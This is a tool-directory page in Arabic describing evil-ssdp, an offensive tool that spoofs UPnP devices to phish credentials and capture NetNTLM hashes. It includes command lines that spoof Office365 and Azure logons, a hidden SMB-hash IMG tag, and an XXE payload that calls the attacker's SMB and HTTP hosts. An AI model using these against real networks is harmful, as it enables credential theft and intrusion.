Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
evil-ssdp — قم بانتحال ردود SSDP وإنشاء أجهزة UPnP مزيفة لصيد بيانات الاعتماد وتحدي/استجابة NetNTLM. | Kitploit
أدوات/GitHubGitHub/initstring/evil-ssdp
تحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSأدوات انتحال الشخصيةالتصيد الاحتياليأمن الشبكاتاختبار الاختراقالهندسة الاجتماعيةالفريق الأحمر
GitHubinitstring/evil-ssdp

evil-ssdp

قم بانتحال ردود SSDP وإنشاء أجهزة UPnP مزيفة لصيد بيانات الاعتماد وتحدي/استجابة NetNTLM.

441100منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

نظرة عامة

تستجيب هذه الأداة لطلبات اكتشاف البث المتعدد SSDP، متظاهرةً بأنها جهاز UPNP عام. سيظهر جهازك المزيف بطريقة سحرية في مستكشف Windows على الأجهزة الموجودة في شبكتك المحلية. سيُعرض على المستخدمين الذين يغريهم فتح الجهاز صفحة تصيد قابلة للتخصيص. يمكن لهذه الصفحة تحميل صورة مخفية عبر SMB، مما يتيح لك التقاط أو إعادة توجيه تحدي/استجابة NetNTLM.

كما يتم توفير قوالب لالتقاط بيانات الاعتماد النصية الواضحة عبر المصادقة الأساسية ونماذج تسجيل الدخول، وإنشاء قوالب مخصصة خاصة بك سريع وسهل.

لا تتطلب هذه الأداة أي بيانات اعتماد موجودة مسبقًا للتنفيذ وتعمل حتى على الشبكات التي تمت حمايتها من هجمات Responder عن طريق تعطيل NETBIOS و LLMNR. يمكن استهداف أي نظام تشغيل أو تطبيق يستخدم SSDP/UPNP، لكن معظم التسلح الحالي استهدف Windows 10.

فيديو: نظرة عامة على التصيد

وكمكافأة، يمكن لهذه الأداة أيضًا اكتشاف واستغلال ثغرات اليوم صفر المحتملة في محركات تحليل XML للتطبيقات التي تستخدم SSDP/UPNP. إذا تم العثور على جهاز ضعيف، فستقوم بالتنبيه في واجهة المستخدم ثم تركيب مشاركة SMB الخاصة بك أو استخراج البيانات دون الحاجة إلى أي تفاعل من المستخدم عبر هجوم الكيان الخارجي لـ XML (XXE).

فيديو: نظرة عامة على ثغرات اليوم صفر

الاستخدام

أبسط تشغيل يبدو هكذا:

root@kitploit:~
evil_ssdp.py eth0

تحتاج إلى توفير واجهة الشبكة كحد أدنى. تُستخدم الواجهة لكل من تفاعل UDP SSDP واستضافة خادم ويب لملفات XML وصفحة التصيد.

ستقوم الأداة تلقائيًا بتحديث علامة IMG في صفحة التصيد باستخدام عنوان IP للواجهة التي توفرها. للعمل مع التحدي/الاستجابة، ستحتاج إلى تشغيل خادم SMB على تلك الواجهة (مثل Impacket). يمكن تخصيص هذا العنوان باستخدام الخيار -s.

بعض السيناريوهات الأمثلة:

root@kitploit:~
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb

تفاصيل الاستخدام الكاملة:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

القوالب

القوالب التالية تأتي مع الأداة. إذا كانت لديك مهارات تصميم جيدة، فيرجى المساهمة بواحد خاص بك!

  • office365: سيعرض في مستكشف Windows باسم "Office365 Backups". صفحة تصيد تشبه صفحة تسجيل الدخول لـ Office365 سترسل بيانات الاعتماد إليك عبر POST. سيتم تمييزها في واجهة المستخدم وتسجيلها في ملف السجل. يُنصح بالتشغيل مع '-u https://www.office.com' لإعادة توجيه المستخدمين إلى الموقع الشرعي بعد سرقة بيانات اعتمادهم. المطور: pentestgeek.
  • scanner: سيعرض في مستكشف Windows باسم ماسح ضوئي بعنوان "Corporate Scanner [3 NEW SCANS WAITING]". النقر المزدوج سينقلك إلى صفحة تسجيل دخول ذات مظهر عام. سيكون هذا القالب مناسبًا للتخصيص لهدفك المحدد. تم نسخ القالب في الغالب من هذا القالب.
  • microsft-azure: سيظهر في مستكشف Windows باسم "Microsoft Azure Storage". صفحة الهبوط هي صفحة تسجيل الدخول لـ Windows Live عندما تكون ملفات تعريف الارتباط معطلة. يُنصح باستخدام الخيار -u لإعادة توجيه المستخدمين إلى صفحة تسجيل الدخول الحقيقية. المطور: Dwight Hohnstein.
  • bitcoin: سيعرض في مستكشف Windows باسم "Bitcoin Wallet". صفحة التصيد هي مجرد مجموعة عشوائية من معلومات العنوان العام/الخاص/البيتكوين. لا توجد أموال فعلية في هذه الحسابات.
  • password-vault: سيعرض في مستكشف Windows باسم "IT Password Vault". صفحة التصيد تحتوي على قائمة قصيرة من كلمات المرور/مفاتيح SSH المزيفة وما إلى ذلك.
  • xxe-smb: من غير المرجح أن يظهر في مستكشف Windows. يُستخدم للعثور على ثغرات اليوم صفر في محللات XML. سيؤدي إلى تشغيل تنبيه "XXE - VULN" في واجهة المستخدم عند الضربات وسيحاول إجبار العملاء على المصادقة مع خادم SMB، دون أي تفاعل.
  • xxe-exfil: مثال آخر للبحث عن ثغرات XXE، ولكن هذه المرة محاولة استخراج ملف اختبار من مضيف Windows. بالطبع يمكنك تخصيص هذا للبحث عن أي ملف محدد تبحث عنه، سواء على Windows أو Linux. في التطبيقات الضعيفة التي اكتشفتها، يعمل الاستخراج فقط على ملف لا يحتوي على مسافات بيضاء أو فواصل أسطر. هذا بسبب كيفية حقنه في عنوان URL لطلب GET. إذا تمكنت من جعل هذا يعمل على ملفات متعددة الأسطر، فأخبرني من فضلك كيف فعلت ذلك.

إنشاء القوالب الخاصة بك سهل. ما عليك سوى نسخ مجلد قالب موجود وتحرير الملفات التالية:

  • device.xml: هنا ستحدد كيف يبدو الجهاز داخل مستكشف Windows.
  • present.html: هذه هي صفحة التصيد التي تظهر عندما يفتح الهدف الجهاز الخبيث. اصنع أي شيء تريده هنا. لاحظ أن قالب سلسلة Python سيحلل هذا، لذا ستحتاج إلى استخدام $$ بدلاً من $ في أي مكان لتفادي محرك القالب.
  • service.xml: لم يتم تنفيذه بعد. قد يكون ضروريًا لانتحال UPNP أكثر تعقيدًا في المستقبل.

في صفحة التصيد الخاصة بك (present.html)، استخدم متغيرات مثل التالية لوظائف إضافية:

root@kitploit:~
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes.  The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

تقوم الأداة حاليًا بإنشاء أجهزة بشكل صحيح فقط لنوع الجهاز UPNP 'Basic'، على الرغم من أنها تستجيب لاستعلامات SSDP لجميع أنواع الأجهزة. إذا كنت تعرف UPNP جيدًا، يمكنك إنشاء قالب جديد بالمعلمات الصحيحة لتلبية طلبات أنواع الأجهزة الأخرى أيضًا. لا يزال هناك الكثير لاستكشافه هنا في استغلال التطبيقات المحددة والطريقة التي تتوقع بها وتستفيد من أجهزة UPNP.

التفاصيل التقنية

يستخدم بروتوكول الاكتشاف البسيط للخدمة (SSDP) من قبل أنظمة التشغيل (Windows, MacOS, Linux, IOS, Android، إلخ) والتطبيقات (Spotify, Youtube، إلخ) لاكتشاف الأجهزة المشتركة على الشبكة المحلية. إنه الأساس لاكتشاف وإعلان أجهزة التوصيل والتشغيل الشامل (UPNP).

سترسل الأجهزة التي تحاول اكتشاف موارد الشبكة المشتركة بثًا متعدد UDP إلى 239.255.255.250 على المنفذ 1900. يتم عشوائية منفذ المصدر. يبدو مثال الطلب هكذا:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

للتفاعل مع هذا المضيف، نحتاج إلى التقاط كل من منفذ المصدر ورأس 'ST' (نوع الخدمة). يجب إرسال الاستجابة إلى منفذ المصدر الصحيح ويجب أن تتضمن رأس ST الصحيح. لاحظ أن نظام التشغيل Windows ليس الوحيد الذي يبحث عن الأجهزة - فمسح شبكة نموذجية سيظهر عددًا كبيرًا من الطلبات من تطبيقات داخل نظام التشغيل (مثل Spotify)، والهواتف المحمولة، وأجهزة الوسائط الأخرى. لن يتعاون Windows إلا إذا قمت بالرد برأس ST الصحيح، بينما تكون المصادر الأخرى أكثر تسامحًا.

evil_ssdp سوف يستخرج الـ ST المطلوب ويرسل استجابة مثل التالية:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

يتم بناء الرؤوس (خاصة LOCATION و 01-NLS و ST و USN) ديناميكيًا. هذا يخبر الطالب بمكان العثور على مزيد من المعلومات حول جهازنا. هنا، نجبر Windows (والطلاب الآخرين) على الوصول إلى ملف XML 'Device Descriptor' الخاص بنا وتحليله. USN هو مجرد سلسلة عشوائية ويحتاج فقط إلى أن يكون فريدًا ومنسقًا بشكل صحيح.

evil_ssdp سيقوم بسحب ملف 'device.xml' من مجلد القوالب المختار وإدراج بعض المتغيرات ديناميكيًا مثل عنوان IP الخاص بك. ملف 'Device Descriptor' هذا هو المكان الذي يمكنك فيه تخصيص بعض الأسماء الوصفية الجذابة والأوصاف. يبدو هكذا:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

يحتوي سطر رئيسي في هذا الملف على 'URL العرض'. هذا ما سيتم تحميله في متصفح المستخدم إذا قرر النقر المزدوج يدويًا على جهاز UPNP. سيقوم evil_ssdp باستضافة هذا الملف تلقائيًا (present.html من مجلد القالب المختار)، مع إدراج عنوان IP المصدر الخاص بك في علامة IMG للوصول إلى مشاركة SMB يمكنك استضافتها باستخدام أدوات مثل Impacket أو Responder أو Metasploit.

تبدو علامة IMG هكذا:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

صيد ثغرات اليوم صفر

بشكل افتراضي، تجبر هذه الأداة الأجهزة على الشبكة على تحليل ملف XML. هجوم معروف ضد التطبيقات التي تحلل XML موجود - معالجة الكيان الخارجي لـ XML (XXE).

من المرجح أن يتم تجاهل هذا النوع من الهجمات ضد أجهزة UPNP - ببساطة لأن طريقة الهجوم معقدة وغير واضحة بسهولة. ومع ذلك، يجعل evil_ssdp من السهل جدًا اختبار الأجهزة الضعيفة على شبكتك. ما عليك سوى تشغيل الأداة والبحث عن [XXE VULN!!!] كبير في المخرجات. ملاحظة: استخدام قالب xxe لن يؤدي على الأرجح إلى ظهور أجهزة خبيثة مرئية عبر الشبكة المحلية، فهو مخصص فقط لسيناريوهات عدم التفاعل.

يتم ذلك من خلال توفير ملف XML لوصف الجهاز بالمحتوى التالي:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

عندما يقرأ محلل XML ضعيف هذا الملف، سيقوم تلقائيًا بتركيب مشاركة SMB (مما يسمح لك بفك تشفير التجزئة أو الترحيل) وكذلك الوصول إلى عنوان HTTP لإعلامك باكتشافه. ستحتوي الإشعارات على رؤوس HTTP وعنوان IP، مما يجب أن يعطيك بعض المعلومات عن التطبيق الضعيف. إذا رأيت هذا، فيرجى الاتصال بالبائع لإصلاح المشكلة. كما يسعدني سماع أي ثغرات يوم صفر تجدها باستخدام الأداة. ويُرجى ذكر الأداة في CVE الخاص بك.

شكر وتقدير

  • شكرًا لـ ZeWarren ومشروعه هنا. استخدمت هذا بشكل مكثف لفهم كيفية الحصول على أساسيات عمل SSDP.
  • شكرًا لـ pentest geek وقوالب التصيد الخاصة بهم هنا. استخدمت صفحة تسجيل الدخول لـ Office365 من هناك.
  • شكرًا لـ Dwight Hohnstein على عمله الرائع في تنفيذ ميزات رائعة مثل المصادقة الأساسية ودعم realm وإعادة التوجيه التلقائي في evil_ssdp. لقد كتب وقدم الكود بلطف لتحقيق ذلك.
  • شكرًا للأشخاص التاليين لتقديم إصلاحات الأخطاء: - Nadar, Ender Akbas, bubbleguuum

أيضًا شكرًا لـ Microsoft لتطوير العديد من الأشياء غير الآمنة الممتعة للعب بها.

هذه أداة بحث أمني. استخدم فقط حيث يُمنح الإذن الصريح من مالك الشبكة.

تنزيل الأداة